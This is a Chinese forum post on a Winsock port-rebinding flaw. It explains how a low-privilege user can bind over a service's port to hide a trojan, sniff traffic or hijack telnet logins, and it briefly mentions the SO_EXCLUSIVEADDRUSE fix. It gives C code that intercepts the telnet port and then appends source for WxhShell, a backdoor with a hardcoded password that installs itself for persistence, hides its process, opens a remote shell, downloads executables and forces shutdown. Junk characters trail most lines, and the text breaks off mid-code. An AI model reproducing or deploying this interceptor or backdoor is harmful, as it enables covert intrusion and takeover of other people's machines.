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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: GrL{q;IO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z nc(Q  
eyJ07  
  saddr.sin_family = AF_INET; GlAI~\A  
LSJ?;Zg(=z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?0VR2Yb${b  
yJm"vN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); c[dzO .~  
]yU"J:/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 HB/V4ki  
WVbrbs4  
  这意味着什么?意味着可以进行如下的攻击:  Z.6dL  
hi0HEm\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8vY-bm,e  
G21o @38e  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) yp.K-  
BPba3G9H  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \n) ',4mY  
Nz,yd%ua  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  R2~Tr$:  
iEr,ly  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 []>'Dw_r  
\2i7\U  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #&&T1;z"#  
_>;Wz7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 JbMTULA  
$1an#~  
  #include i6`"e[aT[o  
  #include @p+;iS1}  
  #include nVb@sI{{k  
  #include    0mY Y:?v  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5</$dcG  
  int main() Wy}I"q[~So  
  { @w[i%F,&`  
  WORD wVersionRequested; i q(PC3e`V  
  DWORD ret; 'pdTV:]zA  
  WSADATA wsaData; @X2*O9  
  BOOL val; u/zBz*zh  
  SOCKADDR_IN saddr; $cCC 1=dW  
  SOCKADDR_IN scaddr; :]^e-p!z  
  int err; Ej(J j\  
  SOCKET s; :HkBP90o  
  SOCKET sc; +&Ld` d!n  
  int caddsize; c3A\~tHW  
  HANDLE mt; }htjT/Nm  
  DWORD tid;   0lfK} a  
  wVersionRequested = MAKEWORD( 2, 2 ); >H2`4]4]  
  err = WSAStartup( wVersionRequested, &wsaData ); T~TP  
  if ( err != 0 ) { yB*,)x0 @  
  printf("error!WSAStartup failed!\n"); FK|O^- >B  
  return -1; <uH8Fivb  
  } `FP?9R6Y  
  saddr.sin_family = AF_INET; 6o 3 bq|  
   mPV<a&U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 kSQ8kU_w+  
'|C3t!H`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ly[LF1t   
  saddr.sin_port = htons(23); E$e7(D  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rH+OXGoB  
  { 3FEJ 9ZyG  
  printf("error!socket failed!\n"); D6sw"V#  
  return -1; k*.]*]   
  } hRcb}>pr  
  val = TRUE; c?p^!zG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 g,Z A\R~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) NR{wq|"  
  { &1xCPKIr  
  printf("error!setsockopt failed!\n"); aER|5!7(2\  
  return -1; 9(CvGzco <  
  } |y\Km  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; OZ,kz2SF#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /HC:H,"i  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 p5Q]/DhG  
f^WTsh]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) KhCP9(A=Qo  
  { v<qh;2  
  ret=GetLastError(); '=\}dav!  
  printf("error!bind failed!\n"); !d* [QD8  
  return -1; S2~cAhR|M  
  } Zo9<96I&  
  listen(s,2); ;SR ESW  
  while(1) ])x1MmRg\  
  { j]a$RC#  
  caddsize = sizeof(scaddr);  R$a<=  
  //接受连接请求 \INH[X#>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !QUY (  
  if(sc!=INVALID_SOCKET) j =_rUc'Me  
  { K~x,so  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &K)8  
  if(mt==NULL) weitDr6  
  { wucdXj{%  
  printf("Thread Creat Failed!\n"); VSj!Gm0LB  
  break; ~xH&"1  
  } g;IlS*Ld  
  } 97}]@xN=  
  CloseHandle(mt); $EMOz=)I#  
  } 0P^h6Vat  
  closesocket(s); g(DD8;]w<  
  WSACleanup(); <_tmkLeZf  
  return 0; G4&s_ M$  
  }   A]1Nm3@  
  DWORD WINAPI ClientThread(LPVOID lpParam) prBLNZp  
  { 0ju1>.p  
  SOCKET ss = (SOCKET)lpParam; q!c(~UVw  
  SOCKET sc; <t%gl5}|  
  unsigned char buf[4096]; wN 2+3LY{  
  SOCKADDR_IN saddr; I0=_=aZO(  
  long num; gwZ<$6  
  DWORD val; ,!ZuH?Z  
  DWORD ret; 2 pS<;k`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Ae)xFnuq3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4DXbeQs:  
  saddr.sin_family = AF_INET; CU$kh z"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); OfsP5*d  
  saddr.sin_port = htons(23); 3JoY-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z(PUoV:?  
  { 0oe<=L]F  
  printf("error!socket failed!\n"); .{Y;6]9[  
  return -1; ]wQ!ZG?)  
  } ><%585  
  val = 100; [;E%o^/^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @0`A!5h?u  
  { TFVQfj$r  
  ret = GetLastError(); :d mE/Tq  
  return -1; FR(W.5[  
  } ^}3^|jF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <QtZ6-;_f  
  { fF:57*ys  
  ret = GetLastError(); fJ,N.O+9E  
  return -1; 8$Q`wRt(%  
  } :-&|QVH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -"(*'hD  
  { .@dC]$2=  
  printf("error!socket connect failed!\n"); 61\u{@o$  
  closesocket(sc); f *ZU a  
  closesocket(ss); 7AG|'s['=  
  return -1; ,RP-)j"Wff  
  } l,wlxh$}(  
  while(1) tz1@s nes  
  { \lL[08G  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^Fk;t  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q&m85'r5X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Jx*cq;`Vee  
  num = recv(ss,buf,4096,0); c? ::l+  
  if(num>0) 77e*9/6@  
  send(sc,buf,num,0); ^df wWP  
  else if(num==0) U~ {k_'-i  
  break; +^I0> \  
  num = recv(sc,buf,4096,0); sW^M  ]  
  if(num>0) ;!yK~OBxt  
  send(ss,buf,num,0); 2:+8]b3i  
  else if(num==0) 2 a<\4w'  
  break; 3WV(Ok  
  } rK~-Wzwu  
  closesocket(ss); *0WVrM06?  
  closesocket(sc); {f*Y}/@  
  return 0 ; \BOoY#!a  
  } M 8^ID #  
3CUQQ_  
9rB3h`AVF  
========================================================== I?KN7(9u?  
FOaA}D `]  
下边附上一个代码,,WXhSHELL gv!8' DKn  
mrGV{{.  
========================================================== -15e  
s8j |>R|k  
#include "stdafx.h" yUoR6w  
~f QrH%@  
#include <stdio.h> ,CE/o7.FG  
#include <string.h> x"r0<RK  
#include <windows.h> u ExLj6  
#include <winsock2.h> tzI|vVT,  
#include <winsvc.h> AbU`wr/h 4  
#include <urlmon.h> $0*sj XV  
`RTxc  
#pragma comment (lib, "Ws2_32.lib") t Zxx#v`  
#pragma comment (lib, "urlmon.lib") -oD,F $Rb  
6#w>6g4V~R  
#define MAX_USER   100 // 最大客户端连接数 G,8mFH  
#define BUF_SOCK   200 // sock buffer QE<Z@/V*a  
#define KEY_BUFF   255 // 输入 buffer !E70e$Th  
.j6udiv5  
#define REBOOT     0   // 重启 2j\_svw'  
#define SHUTDOWN   1   // 关机 m l`xLZN>L  
7j& t{q5  
#define DEF_PORT   5000 // 监听端口 bC&A@.g{  
/ "m s  
#define REG_LEN     16   // 注册表键长度 ET*A0rt  
#define SVC_LEN     80   // NT服务名长度 .[={Yx0!I  
#%,X),%-  
// 从dll定义API S)CsH1Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '2,~'Zk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HG]ARgOB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FlO?E3d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O[X*F2LC4  
:@w~*eK~  
// wxhshell配置信息 :J;U~emq  
struct WSCFG { ;H$ Cq' I  
  int ws_port;         // 监听端口  D2e-b  
  char ws_passstr[REG_LEN]; // 口令 yoE-a  
  int ws_autoins;       // 安装标记, 1=yes 0=no |$.?(FZYu  
  char ws_regname[REG_LEN]; // 注册表键名 z:'m50'  
  char ws_svcname[REG_LEN]; // 服务名 D@=]mh6vl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LpHGt]|D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L K&c~ Uy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XY0kd&N8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3 9 8)\3o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;W0J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bGh&@&dHr  
^&3vGu9  
}; 2[ sY?C  
deVd87;@7[  
// default Wxhshell configuration }OkzP)(  
struct WSCFG wscfg={DEF_PORT, jAQ{H  
    "xuhuanlingzhe", 3mgvWR  
    1, k-$Acv(  
    "Wxhshell", _z_YJ7A>  
    "Wxhshell", d`\SX(C  
            "WxhShell Service", U$:^^Zt`B  
    "Wrsky Windows CmdShell Service", [*%lm9 x  
    "Please Input Your Password: ", >N3X/8KL%  
  1, EeaJUK]z9  
  "http://www.wrsky.com/wxhshell.exe", NF$6yv9C  
  "Wxhshell.exe" %Tp9G Gt  
    }; nC:T0OJv  
^Ks1[xc*`  
// 消息定义模块 W3i<Unq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Rsx6vF8]5  
char *msg_ws_prompt="\n\r? for help\n\r#>";  &_)P)L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;Q ZG<  
char *msg_ws_ext="\n\rExit."; k?cX f j&  
char *msg_ws_end="\n\rQuit."; )\U:e:Zae  
char *msg_ws_boot="\n\rReboot..."; LcKc#)'EE  
char *msg_ws_poff="\n\rShutdown..."; g}9 ,U&$]y  
char *msg_ws_down="\n\rSave to "; l@Lk+-[D  
+m_ .?V6  
char *msg_ws_err="\n\rErr!"; o HK   
char *msg_ws_ok="\n\rOK!"; HB9"T5Pd*  
]H`wE_2tu  
char ExeFile[MAX_PATH]; fb f&bJT  
int nUser = 0; Q}#4Qz~n  
HANDLE handles[MAX_USER]; Z@Rqm:e  
int OsIsNt; /X8a3Eqp9  
/.:1Da  
SERVICE_STATUS       serviceStatus; [_N1 .}e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^P^"t^O  
w+m7jn!$  
// 函数声明 5N9Cd[4  
int Install(void); 3P_.SF  
int Uninstall(void); 1@Ba7>%'  
int DownloadFile(char *sURL, SOCKET wsh); p5In9s  
int Boot(int flag); BDt$s( \  
void HideProc(void); 4Q+,_iP  
int GetOsVer(void); -O} )Y>=}  
int Wxhshell(SOCKET wsl); $GoS?\G  
void TalkWithClient(void *cs); j ,rc9  
int CmdShell(SOCKET sock);  hyxv+m[  
int StartFromService(void); \ ZnA%hC  
int StartWxhshell(LPSTR lpCmdLine); B"v*[p?  
mbAzn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R0M>'V?e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O!PGZuF  
HOD?i_  
// 数据结构和表定义 pIIp61=$  
SERVICE_TABLE_ENTRY DispatchTable[] = =K@LEZZ'/<  
{ f}dlQkZ(  
{wscfg.ws_svcname, NTServiceMain}, Vc\g"1 x  
{NULL, NULL} clDn=k<  
}; :b9#e g  
<B%wq>4S  
// 自我安装 b'( AVA  
int Install(void) sta/i?n  
{ :F d1k Jm  
  char svExeFile[MAX_PATH]; &"u(0q  
  HKEY key; "'B DVxp'w  
  strcpy(svExeFile,ExeFile); 7$7|~k  
!19T=p/:$  
// 如果是win9x系统,修改注册表设为自启动 U["<f`z4\  
if(!OsIsNt) { 3 EAr=E]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JP!e'oWxi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9#H0|zL  
  RegCloseKey(key); CCpRQKb=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  7]@M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^uo,LTq+  
  RegCloseKey(key); padV|hF3(e  
  return 0; Fpo}UQQbc  
    } Sh;`<Ggi~  
  } %X\J%Fj  
} K*^'t ltJ  
else { hgZvti  
M"mvPr9  
// 如果是NT以上系统,安装为系统服务  WLWfe-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @3eMvbI  
if (schSCManager!=0) \;%D;3Au  
{ =$}`B{(H  
  SC_HANDLE schService = CreateService H!NGY]z*  
  ( eDo4>k"5  
  schSCManager, QVn2`hr  
  wscfg.ws_svcname, }?b\/l<  
  wscfg.ws_svcdisp, U>Is mF>m  
  SERVICE_ALL_ACCESS, bSM|"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {? yRO]  
  SERVICE_AUTO_START, C\rT'!Uk\Q  
  SERVICE_ERROR_NORMAL, ,!SbH  
  svExeFile, ;8VZsh  
  NULL, oe6Ex5h  
  NULL, /&?ei*z  
  NULL, {\?f|mm q  
  NULL, gy1kb,MO  
  NULL @"cnPLh&  
  ); SFzoRI=qG  
  if (schService!=0) x1 LI&  
  { AsS~TLG9p  
  CloseServiceHandle(schService); c[1{>z{G  
  CloseServiceHandle(schSCManager); jKP75jm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [L7S`Z  
  strcat(svExeFile,wscfg.ws_svcname); Ev#, }l+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2!f'l'}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bil>;&h  
  RegCloseKey(key); qPN  
  return 0; %to.'R  
    } yyPj!<.MGP  
  } p-C{$5& O1  
  CloseServiceHandle(schSCManager); b%VBSNZ  
} .&=\ *cZc  
} r?`nc6$0|  
7 |Qb}[s  
return 1; $IKN7  
} bq7()ocA  
uA?a DjA  
// 自我卸载 }zo-%#  
int Uninstall(void) >iJxq6!  
{ w6 Y+Y;,'f  
  HKEY key; 8}z PDs  
YU87l  
if(!OsIsNt) { M/[9ZgDc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EZQ!~  
  RegDeleteValue(key,wscfg.ws_regname); q9(O=7O]-  
  RegCloseKey(key); 5W{|? l{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s5b<KQ.  
  RegDeleteValue(key,wscfg.ws_regname); !/F-EJOH6C  
  RegCloseKey(key); v@X[0J_8  
  return 0; Mc  
  } B^1jd!m  
} _qit$#wK;  
} { F0"U=  
else { 6{Bvl[mhI  
M~sP|Ha"+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RXPl~]k#i  
if (schSCManager!=0) ;?o"{mbb  
{ e?aSM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sx9[#6~{Y  
  if (schService!=0) (ds*$]  
  { g2lv4Tiq-  
  if(DeleteService(schService)!=0) { ~O~we  
  CloseServiceHandle(schService); '?|.#D#-c  
  CloseServiceHandle(schSCManager); OUHd@up@n  
  return 0; +w?1<Z  
  } v|kL7t)}  
  CloseServiceHandle(schService); bF@iO316H  
  } t5p#g <$  
  CloseServiceHandle(schSCManager); m<9W#  
} <RkJ 7Z^  
} is- {U? -  
v2#qs*sW8  
return 1; Zfr?(y+3  
} la !rg#)-X  
vCR\lR+  
// 从指定url下载文件 4p&SlJ  
int DownloadFile(char *sURL, SOCKET wsh) nYY'hjZ  
{ MU_ >+Wnf  
  HRESULT hr; b~G|Bhxa  
char seps[]= "/"; B gG+  
char *token; '$OLU[(Y  
char *file; TLzcQ|  
char myURL[MAX_PATH]; m+'X8}GC#O  
char myFILE[MAX_PATH]; an?g'8! r:  
HPWjNwM  
strcpy(myURL,sURL); PJcz] <  
  token=strtok(myURL,seps); #`Et{6W S  
  while(token!=NULL) \=g%W^i  
  { #lm1"~`5  
    file=token; 7W#9ki1  
  token=strtok(NULL,seps); w*N9p8hb]  
  } QeAkuqT'[  
v3jx2Z  
GetCurrentDirectory(MAX_PATH,myFILE); UUql"$q  
strcat(myFILE, "\\"); yIThzy S  
strcat(myFILE, file); (au 7wI{  
  send(wsh,myFILE,strlen(myFILE),0); <Gudx>I  
send(wsh,"...",3,0); lO|H:7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q} R"  
  if(hr==S_OK) |7T!rnr  
return 0; /9yA.W;  
else u RNc9  
return 1; 'uOp?g'7  
Ie;}k;?-  
} seH#v  
:!EOg4%i  
// 系统电源模块 4a~9?}V:  
int Boot(int flag) 4B8{\ "6  
{ pRdO4?l  
  HANDLE hToken; &"svt2  
  TOKEN_PRIVILEGES tkp; !*xQPanL  
Ts:pk  
  if(OsIsNt) { WS0RvBvb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v4< x 4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dTP$7nfe  
    tkp.PrivilegeCount = 1; *o[*,1Pw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L``K. DF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J_mpI.^Bsf  
if(flag==REBOOT) { iyhB;s5Rgw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ffyKAZ{]po  
  return 0; Xl%&hM  
} VuW&CnZ  
else { (5N&bh`E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R=M${u<t  
  return 0; yz2NB?)  
} g<{W\VOPm  
  } |3g:q  
  else { C31SXQ  
if(flag==REBOOT) { 1<qq69x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^Q_0Zq^H  
  return 0; *%cI,}%   
} P z+8u&~p  
else { A|@d4+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2S8/ lsB  
  return 0; nmN6RGx  
} A! 1>  
} 9W7H",wR  
B)"WG7W E  
return 1; ~c3CyOab  
} ZA ii"F  
Kc\0-3 Z  
// win9x进程隐藏模块 ziy~~J  
void HideProc(void) zn3i2MWS  
{ [w~1e)D  
e:.Xs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _W*3FH  
  if ( hKernel != NULL ) I#f<YbzD  
  { \Jv6Igu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PHD$E s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4oOe  
    FreeLibrary(hKernel); 58MBG&a%  
  } YKUs>tQ!  
]0dp^%  
return; R m *"SG  
} `h Y:F(  
U]ouBG8/  
// 获取操作系统版本 x<=+RYz#^:  
int GetOsVer(void) O`mW,  
{ ")(1z@  
  OSVERSIONINFO winfo; `pN]Ykt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W~Mj6c~S"  
  GetVersionEx(&winfo); &ze'V , :  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d|6*1hby  
  return 1; $- #M~eZv  
  else -i @!{ ?  
  return 0; W?R$+~G  
} F1|4([-<]  
P[ KJuc  
// 客户端句柄模块 8N8B${X  
int Wxhshell(SOCKET wsl) } ho8d+A  
{ z/rN+ ,  
  SOCKET wsh; *RM#F !A  
  struct sockaddr_in client; K| Y r  
  DWORD myID; m&|?mTo>m  
Q.6pmaXrb  
  while(nUser<MAX_USER) Ctt{j'-[  
{ ?^IM2}(p  
  int nSize=sizeof(client); g[@]OsX   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Mk[_yqoCO  
  if(wsh==INVALID_SOCKET) return 1; #\4uu  
 NP^kbF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;][1_  
if(handles[nUser]==0) [?Aq#av  
  closesocket(wsh); FQ(=Fnqn  
else #.tF&$ik  
  nUser++; '1r:z, o|  
  } -F|(Y1OE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s bW`  
^O[q C X  
  return 0; <h7C_^L10\  
} l= !KZaH  
59T:{d;~  
// 关闭 socket S]{K^Q),  
void CloseIt(SOCKET wsh) 18ci-W#p  
{ uu=e~K  
closesocket(wsh); |n67!1  
nUser--; AytHnp\H  
ExitThread(0); 6eK18*j%H  
} G*Z4~-E4*  
Dw6Q2Gnv  
// 客户端请求句柄 |yN7#O-D  
void TalkWithClient(void *cs) le|e 4f*+  
{ jr@<-.  
,1F3";`n[  
  SOCKET wsh=(SOCKET)cs; O&\;BF5:R  
  char pwd[SVC_LEN]; aCFO ]  
  char cmd[KEY_BUFF]; cy/;qd+!M  
char chr[1]; &Cdk%@Tj]B  
int i,j; |3\ mH~Bw  
{b+!0[  
  while (nUser < MAX_USER) { ](- :l6  
bv$)^  
if(wscfg.ws_passstr) { $N5}N\C:a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +~02j1Jx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 01#a  
  //ZeroMemory(pwd,KEY_BUFF); = ?T'@C  
      i=0;  @;d(>_n  
  while(i<SVC_LEN) { aLuxCobV  
LYavth`@h  
  // 设置超时 Eh0R0;l5>  
  fd_set FdRead; *wyaBV?*K  
  struct timeval TimeOut; J0lTp /  
  FD_ZERO(&FdRead); =JNoC01D  
  FD_SET(wsh,&FdRead); IM)\-O\Wd  
  TimeOut.tv_sec=8; 0 Co_,"  
  TimeOut.tv_usec=0; WQ=C5^u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _i6G)u&N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "i4@'`r  
;l5F il,3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F ~ /{1Q*  
  pwd=chr[0]; e [3sWv  
  if(chr[0]==0xd || chr[0]==0xa) { +:wOzTUN  
  pwd=0; :%)l* [  
  break; SAc}5.  
  } !}Cd_tj6  
  i++; oC.:mI  
    } ~0t] `<y=  
tX&Dum$  
  // 如果是非法用户,关闭 socket GZ UDI#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +;pdG[N  
} [|xHXcW  
x:"_B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~%k<N/B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VGA?B@  
q9yY%  
while(1) { ^cDHyB=v4d  
7oh6G  
  ZeroMemory(cmd,KEY_BUFF); D*DCMMp=0  
hf8 =r5j=  
      // 自动支持客户端 telnet标准   BRFA%FZ,  
  j=0; J/M1#sE  
  while(j<KEY_BUFF) { FSIV\ u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d1D{wZ3g  
  cmd[j]=chr[0]; t!AHTtI  
  if(chr[0]==0xa || chr[0]==0xd) { P[?~KNS:/  
  cmd[j]=0; W(1p0|WQ:  
  break; ) #9/vIQ  
  } \zR{D}aS  
  j++; Elh: %dr Q  
    } IdUMoLL?  
Y)g7 E"  
  // 下载文件 ,X)0+DNsq  
  if(strstr(cmd,"http://")) { \ :1MM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~z^VMr  
  if(DownloadFile(cmd,wsh)) iO,0Sb <y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z#SBt`c  
  else Pj8s;#~u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TfDx> F$  
  } 7y&Fb  
  else { qeb:n$  
E@7";&\-8  
    switch(cmd[0]) { oXK`=.\  
  uw&GXOzew9  
  // 帮助 Gnr]qxL  
  case '?': { `BmAu[(e&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~}i &gd|(  
    break; @]Aul9.h  
  } ;KWR/?ec  
  // 安装 #&\^{Z  
  case 'i': { Gc<Jx|Q7  
    if(Install()) ~ 61O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,[D,G  
    else ^g$k4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DAj@wn3K?  
    break; ]tanvJG}'  
    } >w9fFm!Q  
  // 卸载 ~2beVQ(U  
  case 'r': { UsNr$MO {  
    if(Uninstall()) d>M&jSCL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;m,lS_[c  
    else @c,}\"(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J@=1zL  
    break; KCGs*kp>  
    } /iQ}DbtRb  
  // 显示 wxhshell 所在路径 &G@(f=  
  case 'p': { Y [0 S  
    char svExeFile[MAX_PATH]; BBm.;=8@ ^  
    strcpy(svExeFile,"\n\r"); <fCgU&  
      strcat(svExeFile,ExeFile); t7H2z}06=h  
        send(wsh,svExeFile,strlen(svExeFile),0); cmmH)6c>  
    break; {l-,Jbfi`  
    } KN'l/9.  
  // 重启 Vrf2%$g  
  case 'b': { eOt T*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1c(1YGuH  
    if(Boot(REBOOT)) MGCwT@P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )@RTU~#  
    else { -IMm#  
    closesocket(wsh); Z=_p  
    ExitThread(0); 3/H^YM @  
    } 57'=Qz52  
    break; R0(Nw7!d/[  
    } p4\%*ovQt  
  // 关机 ?g&6l0 n`  
  case 'd': { {d.`0v9h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |Vs|&0  
